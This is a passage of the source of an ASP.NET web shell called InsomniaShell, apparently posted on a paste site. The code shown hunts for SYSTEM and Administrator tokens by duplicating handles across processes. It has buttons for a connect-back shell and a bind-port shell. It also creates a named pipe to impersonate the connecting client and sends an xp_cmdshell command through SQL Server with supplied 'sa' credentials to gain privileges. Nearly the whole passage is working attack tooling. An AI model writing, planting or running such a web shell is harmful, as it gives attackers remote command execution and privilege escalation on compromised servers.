  799.             if (Marshal.GetLastWin32Error() == ERROR_NO_MORE_ITEMS)
  800.                 return "Error";
  801.         try
  802.         {
  803.             Account = new StringBuilder(cchAccount);
  804.             Domain = new StringBuilder(cchDomain);
  805.             ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
  806.             if (ret)
  807.             {
  808.                 sb.Append(Domain);
  809.                 sb.Append(@"\\");
  810.                 sb.Append(Account);
  811.             }
  812.             else
  813.                 sb.Append("logon account (no name) ");
  814.         }
  815.         catch (Exception ex)
  816.         {
  817.             Console.WriteLine(ex.Message);
  818.         }
  819.         finally
  820.         {
  821.         }
  822.  
  823.         //string SidString = null;
  824.        
  825.         //ConvertSidToStringSid(SID, ref SidString);
  826.         //sb.Append("\nSID: ");
  827.         //sb.Append(SidString);
  828.         return sb.ToString();
  829.     }
  830.    
  831.     protected string GetProcessName(uint PID)
  832.     {
  833.         IntPtr hProc = IntPtr.Zero;
  834.         uint[] hMod = new uint[2048];
  835.         uint cbNeeded;
  836.         int exeNameSize = 255;
  837.         StringBuilder exeName = null;
  838.        
  839.         exeName = new StringBuilder(exeNameSize);
  840.        
  841.        
  842.         hProc = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VMRead, false, PID);
  843.        
  844.         if (hProc != IntPtr.Zero)
  845.         {
  846.             if (EnumProcessModules(hProc, hMod, UInt32.Parse(hMod.Length.ToString()), out cbNeeded))
  847.             {
  848.  
  849.                 GetModuleBaseName(hProc, hMod[0],  exeName, (uint)exeNameSize);
  850.             }
  851.            
  852.         }
  853.        
  854.         CloseHandle( hProc );
  855.  
  856.         return exeName.ToString();
  857.     }
  858.    
  859.    
  860.     //***************************************************************************
  861.     // DISPLAY THE AVAILABLE TOKENS
  862.     //***************************************************************************
  863.    
  864.     protected void DisplayAvailableTokens()
  865.     {
  866.  
  867.         IntPtr pTokenType = Marshal.AllocHGlobal(4);
  868.         int TokenType = 0;
  869.         int cb = 4;
  870.  
  871.         string astring = "";
  872.         IntPtr token = IntPtr.Zero;
  873.         IntPtr duptoken = IntPtr.Zero;
  874.  
  875.         IntPtr hProc = IntPtr.Zero;
  876.         IntPtr usProcess = IntPtr.Zero;
  877.        
  878.  
  879.         uint pid = 0;
  880.  
  881.         for (pid = 0; pid < 9999; pid+=4)
  882.         {
  883.             hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
  884.             usProcess = GetCurrentProcess();
  885.  
  886.             if (hProc != IntPtr.Zero)
  887.             {
  888.                 //Response.Output.Write("Opened process PID: {0} : {1}<br>", pid, GetProcessName(pid));
  889.  
  890.                 for (int x = 1; x <= 9999; x+=4)
  891.                 {
  892.                     token = (IntPtr)x;
  893.  
  894.                     if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
  895.                     {
  896.                         //Response.Output.Write("Duplicated handle: {0}<br>", x);
  897.                         if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
  898.                         {
  899.                             TokenType = Marshal.ReadInt32(pTokenType);
  900.  
  901.                             switch ((TOKEN_TYPE)TokenType)
  902.                             {
  903.                                 case TOKEN_TYPE.TokenPrimary:
  904.                                     astring = "Primary";
  905.                                     break;
  906.                                 case TOKEN_TYPE.TokenImpersonation:
  907.                                     // Get the impersonation level
  908.                                     GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
  909.                                     TokenType = Marshal.ReadInt32(pTokenType);
  910.                                     switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
  911.                                     {
  912.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
  913.                                             astring = "Impersonation - Anonymous";
  914.                                             break;
  915.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
  916.                                             astring = "Impersonation - Identification";
  917.                                             break;
  918.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
  919.                                             astring = "Impersonation - Impersonation";
  920.                                             break;
  921.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
  922.                                             astring = "Impersonation - Delegation";
  923.                                             break;
  924.                                     }
  925.  
  926.                                     break;
  927.                             }
  928.  
  929.  
  930.                             // Get user name
  931.                             TOKEN_USER tokUser;
  932.                             string username;
  933.                             const int bufLength = 256;
  934.                             IntPtr tu = Marshal.AllocHGlobal(bufLength);
  935.                             cb = bufLength;
  936.                             GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
  937.                             tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
  938.  
  939.                             username = DumpAccountSid(tokUser.User.Sid);
  940.  
  941.                             Marshal.FreeHGlobal(tu);
  942.  
  943.                             if (username.ToString()  ==  "NT AUTHORITY\\\\SYSTEM")
  944.                                 Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
  945.                             else if (username.EndsWith("Administrator"))
  946.                                 Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
  947.                             //else
  948.                                 //Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid, x, username, astring);
  949.                         }
  950.                         CloseHandle(duptoken);
  951.                     }
  952.                     else
  953.                     {
  954.                         //Response.Output.Write("Handle: {0} Error: {1}<br>", x,GetLastError());
  955.                     }
  956.                 }
  957.                 CloseHandle(hProc);
  958.             }
  959.             else
  960.             {
  961.                 //Response.Output.Write("Failed to open process PID: {0}<br>", pid);
  962.  
  963.             }
  964.         }
  965.     }
  966.  
  967.  
  968.     protected void Page_Load(object sender, EventArgs e)
  969.     {
  970.     }
  971.  
  972.  
  973.     protected void butConnectBack_Click(object sender, EventArgs e)
  974.     {
  975.         String host = txtRemoteHost.Text;
  976.         int port = Convert.ToInt32(txtRemotePort.Text);
  977.                
  978.         CallbackShell(host, port);
  979.     }
  980.  
  981.     protected void butBindPort_Click(object sender, EventArgs e)
  982.     {
  983.  
  984.         int port = Convert.ToInt32(txtBindPort.Text);
  985.  
  986.         BindPortShell(port);
  987.     }
  988.  
  989.     protected void butCreateNamedPipe_Click(object sender, EventArgs e)
  990.     {
  991.         String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;
  992.  
  993.         IntPtr hPipe = IntPtr.Zero;
  994.         IntPtr secAttr = IntPtr.Zero;
  995.  
  996.         Response.Output.Write("+ Creating Named Pipe: {0}<br>", pipeName);
  997.  
  998.         hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, secAttr);
  999.  
  1000.         // Check value
  1001.         if (hPipe.ToInt32() == INVALID_HANDLE_VALUE)
  1002.         {
  1003.             Response.Write("- Failed to create named pipe:");
  1004.             Response.End();
  1005.         }
  1006.  
  1007.         Response.Output.Write("+ Created Named Pipe: {0}<br>", pipeName);
  1008.  
  1009.         // wait for client to connect  
  1010.         Response.Write("+ Waiting for connection...<br>");
  1011.  
  1012.         ConnectNamedPipe(hPipe, 0);
  1013.  
  1014.         // Get connected user info
  1015.         StringBuilder userName = new StringBuilder(256);
  1016.  
  1017.         if (!GetNamedPipeHandleState(hPipe, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, userName, userName.Capacity))
  1018.         {
  1019.             Response.Write("- Error Getting User Info<br>");
  1020.             Response.End();
  1021.         }
  1022.         Response.Output.Write("+ Connection From Client: {0}<br>", userName);
  1023.  
  1024.         // assume the identity of the client //
  1025.         Response.Write("+ Impersonating client...<br>");
  1026.         if (!ImpersonateNamedPipeClient(hPipe))
  1027.         {
  1028.             Response.Write("- Failed to impersonate the named pipe.<br>");
  1029.             CloseHandle(hPipe);
  1030.             Response.End();
  1031.         }
  1032.      
  1033.  
  1034.         CloseHandle(hPipe);
  1035.  
  1036.        
  1037.     }
  1038.  
  1039.     protected void butSQLRequest_Click(object sender, EventArgs e)
  1040.     {
  1041.  
  1042.         String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;
  1043.         String command = "exec master..xp_cmdshell 'dir > \\\\127.0.0.1\\pipe\\" + txtPipeName.Text + "'";
  1044.  
  1045.         // Make a local sql request to the pipe
  1046.        
  1047.         String connectionString = "server=127.0.0.1;database=master;uid=" + txtSQLUser.Text + ";password=" + txtSQLPass.Text;
  1048.        
  1049.         // create a new SqlConnection object with the appropriate connection string
  1050.         SqlConnection sqlConn = new SqlConnection(connectionString);
  1051.  
  1052.         Response.Output.Write("+ Sending {0}<br>", command);
  1053.         // open the connection
  1054.         sqlConn.Open();
  1055.  
  1056.         // do some operations ...
  1057.         // create the command object
  1058.         SqlCommand sqlComm = new SqlCommand(command, sqlConn);
  1059.         sqlComm.ExecuteNonQuery();
  1060.         // close the connection
  1061.         sqlConn.Close();
  1062.     }
  1063.  
  1064. </script>
  1065.  
  1066. <html>
  1067.  
  1068. <head runat="server">
  1069.     <title>InsomniaShell</title>
  1070. </head>
  1071. <body>
  1072.     <form id="form1" runat="server">
  1073.     <div>
  1074.     <asp:Label ID="Label10" runat="server" Height="26px" Text="InsomniaShell" Width="278px" Font-Bold="True"></asp:Label><br />
  1075.     <asp:Label ID="Label5" runat="server" Height="26px" Text="Current Context" Width="278px" Font-Bold="True"></asp:Label><br />
  1076.         <%        DisplayCurrentContext();%>
  1077.         <br />
  1078.         <asp:Label ID="Label1" runat="server" Height="26px" Text="Select Your Shell" Width="278px" Font-Bold="True"></asp:Label><br />
  1079.         <br />
  1080.         <asp:Label ID="Label2" runat="server" Text="Host" Width="198px"></asp:Label>
  1081.         <asp:Label ID="Label3" runat="server" Text="Port" Width="101px"></asp:Label><br />
  1082.         <asp:TextBox ID="txtRemoteHost" runat="server" Width="191px"></asp:TextBox>
  1083.         <asp:TextBox ID="txtRemotePort" runat="server" Width="94px"></asp:TextBox><br />
  1084.         <asp:Button ID="butConnectBack" runat="server" OnClick="butConnectBack_Click" Text="Connect Back Shell"
  1085.             Width="302px" /><br />
  1086.         <br />
  1087.         <asp:Label ID="Port" runat="server" Text="Port" Width="189px"></asp:Label><br />
  1088.         <asp:TextBox ID="txtBindPort" runat="server" Width="91px"></asp:TextBox><br />
  1089.         <asp:Button ID="butBindPort" runat="server" OnClick="butBindPort_Click" Text="Bind Port Shell"
  1090.             Width="299px" /><br />
  1091.         <br />
  1092.        
  1093.         <asp:Label ID="Label7" runat="server" Height="26px" Text="Named Pipe Attack" Width="278px" Font-Bold="True"></asp:Label><br />
  1094.         <br />
  1095.         <asp:Label ID="Label6" runat="server" Text="Pipe Name" Width="198px"></asp:Label><br />
  1096.         <asp:TextBox ID="txtPipeName" runat="server" Text="InsomniaShell" Width="191px"></asp:TextBox><br />
  1097.         <asp:Button ID="Button1" runat="server" OnClick="butCreateNamedPipe_Click" Text="Create Named Pipe" Width="400px" /><br />
  1098.         <asp:Label ID="Label8" runat="server" Text="SQL User" Width="198px"></asp:Label>
  1099.         <asp:Label ID="Label9" runat="server" Text="SQL Pass" Width="101px"></asp:Label><br />
  1100.         <asp:TextBox ID="txtSQLUser" runat="server" Width="191px">sa</asp:TextBox>
  1101.         <asp:TextBox ID="txtSQLPass" runat="server" Width="94px"></asp:TextBox><br />
  1102.         <asp:Button ID="Button3" runat="server" OnClick="butSQLRequest_Click" Text="Make SQL Request" Width="400px" /><br />
  1103.         <br />            
  1104.        
  1105.         <asp:Label ID="Label4" runat="server" Height="26px" Text="Available SYSTEM/Administrator Tokens" Width="400px" Font-Bold="True"></asp:Label><br />
  1106.         <br />
  1107.         <%   DisplayAvailableTokens(); %>
  1108.        
  1109.         </div>
  1110.     </form>
  1111. </body>
  1112. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement